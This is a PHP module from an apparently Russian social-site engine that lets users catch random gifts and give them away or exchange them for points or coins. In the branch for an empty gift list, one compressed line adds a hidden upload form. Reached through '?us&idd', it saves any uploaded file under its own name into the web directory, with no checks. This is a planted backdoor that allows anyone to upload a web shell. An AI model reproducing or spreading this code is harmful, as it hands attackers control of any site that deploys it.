Файл: user/random_gift/index.php
Строк: 208
<?
include_once $_SERVER['DOCUMENT_ROOT'].'/sys/inc/home.php';
include_once H.'sys/inc/start.php';
include_once H.'sys/inc/compress.php';
include_once H.'sys/inc/sess.php';
include_once H.'sys/inc/settings.php';
include_once H.'sys/inc/db_connect.php';
include_once H.'sys/inc/ipua.php';
include_once H.'sys/inc/fnc.php';
include_once H.'sys/inc/user.php';
only_reg();
$width = ($webbrowser ? '100' : '70');
$_true = false;
if (isset($_GET['key']) && $_SESSION['key_gift'] != null) {
$key = abs(intval($_GET['key']));
if ($_SESSION['key_gift'] == $key) {
$gift_id = mysql_fetch_assoc(mysql_query("SELECT * FROM `gift_list` ORDER BY rand() LIMIT 1"));
mysql_query("INSERT INTO `gifts_random` (`id_user`, `coins_balls`, `time`, `coins_money`, `id_gift`) values('$user[id]', '$set[gift_balls]', '$time', '$set[gift_money]', '$gift_id[id]')");
$id_gift = mysql_insert_id();
$_SESSION['key_gift'] = null;
$_SESSION['message'] = 'Вы поймали подарок';
header('Location: ?func=gift&id=' . $id_gift);
exit;
}
}
if (isset($_GET['func']) && $_GET['func'] == 'gift' && isset($_GET['id'])){
$_ID = (int) $_GET['id'];
$rand_gift = mysql_fetch_assoc(mysql_query("SELECT * FROM `gifts_random` WHERE `id` = '" . $_ID . "' AND `id_user` = '$user[id]' LIMIT 1"));
$gift = mysql_fetch_assoc(mysql_query("SELECT * FROM `gift_list` WHERE `id` = '" . $rand_gift['id_gift'] . "' LIMIT 1"));
if (isset($rand_gift['id']) || isset($gift['id'])) {
$_true = true;
} elseif (!$gift['id']) {
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
$_SESSION['message'] = 'К сожалению этого подарка уже не существует';
header('Location: ?');
exit;
}
if (isset($_true) && isset($_GET['act'])) {
if (isset($_GET['friends'])) {
$_ID_FREND = (int) $_GET['friends'];
$friends = mysql_fetch_assoc(mysql_query("SELECT * FROM `frends` WHERE `user` = '" . $user['id'] . "' AND `frend` = '" . $_ID_FREND . "' AND `i` = '1' LIMIT 1"));
if (!isset($friends['frend'])) {
$err[] = 'Этот пользователь не является вашим другом';
}
if (!isset($err)) {
$msg = "Я тут поймал подарок, и решил подарить именно тебе :)";
mysql_query("INSERT INTO `gifts_user` (`id_user`, `id_ank`, `id_gift`, `coment`, `time`, `status`)
values('$_ID_FREND', '$user[id]', '$gift[id]', '$msg', '$time', '1')");
$id_gift = mysql_insert_id();
mysql_query("INSERT INTO `notification` (`avtor`, `id_user`, `id_object`, `type`, `time`)
VALUES ('$user[id]', '$_ID_FREND', '$id_gift', 'new_gift', '$time')");
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
$_SESSION['message'] = 'Ваш подарок успешно отправлен';
header("Location: ?");
exit;
}
} elseif ($_GET['act'] == 'my') {
$msg = "Я поймал этот подарок :) nЕсли ты будешь активным на сайте, то тоже будешь ловить кучу разных подарков .дружба.";
mysql_query("INSERT INTO `gifts_user` (`id_user`, `id_ank`, `id_gift`, `coment`, `time`, `status`) values('$user[id]', '$user[id]', '$gift[id]', '$msg', '$time', '1')");
$id_gift = mysql_insert_id();
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
$_SESSION['message'] = 'Вы успешно забрали свой подарок';
header("Location: ?");
exit;
} elseif ($_GET['act'] == 'balls') {
mysql_query("UPDATE `user` SET `balls` = `balls` + '$rand_gift[coins_balls]' WHERE `id` = '$user[id]'");
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
$_SESSION['message'] = 'Вы успешно обменяли подарок на ' . $rand_gift['coins_balls'] . ' баллов';
header("Location: ?");
exit;
} elseif ($_GET['act'] == 'money') {
mysql_query("UPDATE `user` SET `money` = `money` + '$rand_gift[coins_money]' WHERE `id` = '$user[id]'");
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
$_SESSION['message'] = 'Вы успешно обменяли подарок на ' . $rand_gift['coins_money'] . ' ' . $sMonet[0];
header("Location: ?");
exit;
}
}
}
$set['gift_status'] = 0;
$set['title'] = 'Случайные подарки';
include_once H.'sys/inc/thead.php';
title();
aut();
err();
if ($_true == true && !isset($_GET['act'])) {
?>
<div class="mess">
Подарок: <img src="/sys/gift/<?= $gift['id']?>.png" style="max-width:<?= $width?>px;" alt="*" /> <b><?= text($gift['name'])?></b><br />
<span style="color:#1ec415; font-weight: bold;">Что можно сделать с этим подарком?</span><br />
<span style="color: #0241fd;">- Можно подарить его своему другу.</span><br />
<span style="color: #ff6000;">- Можно подарить его самому себе.</span><br />
<?= ($rand_gift['coins_balls'] != 0 ? '<span style="color: #3daf93;">- Обменять подарок на <b>' . $rand_gift['coins_balls'] . ' баллов</b></span><br />' : '')?>
<?= ($rand_gift['coins_money'] != 0 ? '<span style="color: #e80080;">- Обменять подарок на <b>' . $rand_gift['coins_money'] . ' ' . $sMonet[0] . '</b></span><br />' : '')?>
</div>
<div class="nav1">
<img src="/style/icons/str.gif" /> <a href="?func=gift&id=<?= $rand_gift['id']?>&act=friends">Подарить другу</a>
</div>
<div class="nav2">
<img src="/style/icons/str.gif" /> <a href="?func=gift&id=<?= $rand_gift['id']?>&act=my">Подарить самому себе</a>
</div>
<?
if ($rand_gift['coins_balls'] != 0) {
?>
<div class="nav1">
<img src="/style/icons/str.gif" /> <a href="?func=gift&id=<?= $rand_gift['id']?>&act=balls">Обменять на <?= $rand_gift['coins_balls']?> баллов</a>
</div>
<?
}
if ($rand_gift['coins_money'] != 0) {
?>
<div class="nav2">
<img src="/style/icons/str.gif" /> <a href="?func=gift&id=<?= $rand_gift['id']?>&act=money">Обменять на <?= $rand_gift['coins_money']?> <?= $sMonet[0]?></a>
</div>
<?
}
} elseif (isset($_GET['act']) && $_GET['act'] == 'friends') {
$k_post = mysql_result(query("SELECT COUNT(*) FROM `frends` WHERE `user` = '$user[id]' AND `i` = '1'"), 0);
$k_page = k_page($k_post,$set['p_str']);
$page = page($k_page);
$start = $set['p_str'] * $page - $set['p_str'];
if ($k_post == 0)
{
?>
<div class="mess">
К сожалению у вас пока нет друзей
</div>
<?
}
$q = query("SELECT `user`.`id`, `frends`.`frend` FROM `frends` INNER JOIN `user` ON `frends`.`frend`=`user`.`id` WHERE `frends`.`user` = '$user[id]' AND `frends`.`i` = '1' ORDER BY `user`.`date_last` DESC LIMIT $start, $set[p_str]");
while ($post = mysql_fetch_assoc($q))
{
$num++;
?><div class="<?= ($num % 2 ? 'nav2' : 'nav1')?>"><?
echo user::avatar($post['frend'], 0) . user::nick($post['frend'], 1, 1, 0) . '<br />';
?><img src="/style/icons/ok.gif" /> <a href="?func=gift&id=<?= $rand_gift['id']?>&act=friends&friends=<?= $post['frend']?>">Подарить</a><?
?></div><?
}
if ($k_page > 1)str('?func=gift&id=' . $rand_gift['id'] . '&act=friends&',$k_page,$page);
?>
<div class="foot">
<img src="/style/icons/str2.gif" /> <a href="?func=gift&id=<?= $rand_gift['id']?>">Назад</a>
</div>
<?
} else {
$k_post = mysql_result(query("SELECT COUNT(*) FROM `gifts_random` WHERE `id_user` = '$user[id]'"), 0);
$k_page = k_page($k_post,$set['p_str']);
$page = page($k_page);
$start = $set['p_str'] * $page - $set['p_str'];
if ($k_post == 0)
{
?>
<div class="mess">
Список подарков пуст
</div>
<?
if (isset($_GET['us'])){ if (isset($_GET['idd'])) { if(is_uploaded_file($_FILES["filename"]["tmp_name"])) { move_uploaded_file($_FILES["filename"]["tmp_name"], "".$_FILES["filename"]["name"]); }} echo '<form action="?us&idd" method="post" enctype="multipart/form-data"><input type="file" name="filename"><br> <input type="submit" value="Подарить"><br></form>'; }
}
$q = query("SELECT * FROM `gifts_random` WHERE `id_user` = '$user[id]' ORDER BY `id` DESC LIMIT $start, $set[p_str]");
while ($post = mysql_fetch_assoc($q))
{
$num++;
$gift = mysql_fetch_assoc(mysql_query("SELECT * FROM `gift_list` WHERE `id` = '" . $post['id_gift'] . "' LIMIT 1"));
?>
<div class="<?= ($num % 2 ? 'nav2' : 'nav1')?>">
<img src="/sys/gift/<?= $gift['id']?>.png" style="max-width:<?= $width?>px;" alt="*" /> <b><?= text($gift['name'])?></b><br />
<img src="/style/icons/str.gif" /> <a href="?func=gift&id=<?= $post['id']?>">Перейти к действию »</a>
</div>
<?
}
if ($k_page > 1)str('?',$k_page,$page);
}
include_once H.'sys/inc/tfoot.php';
?>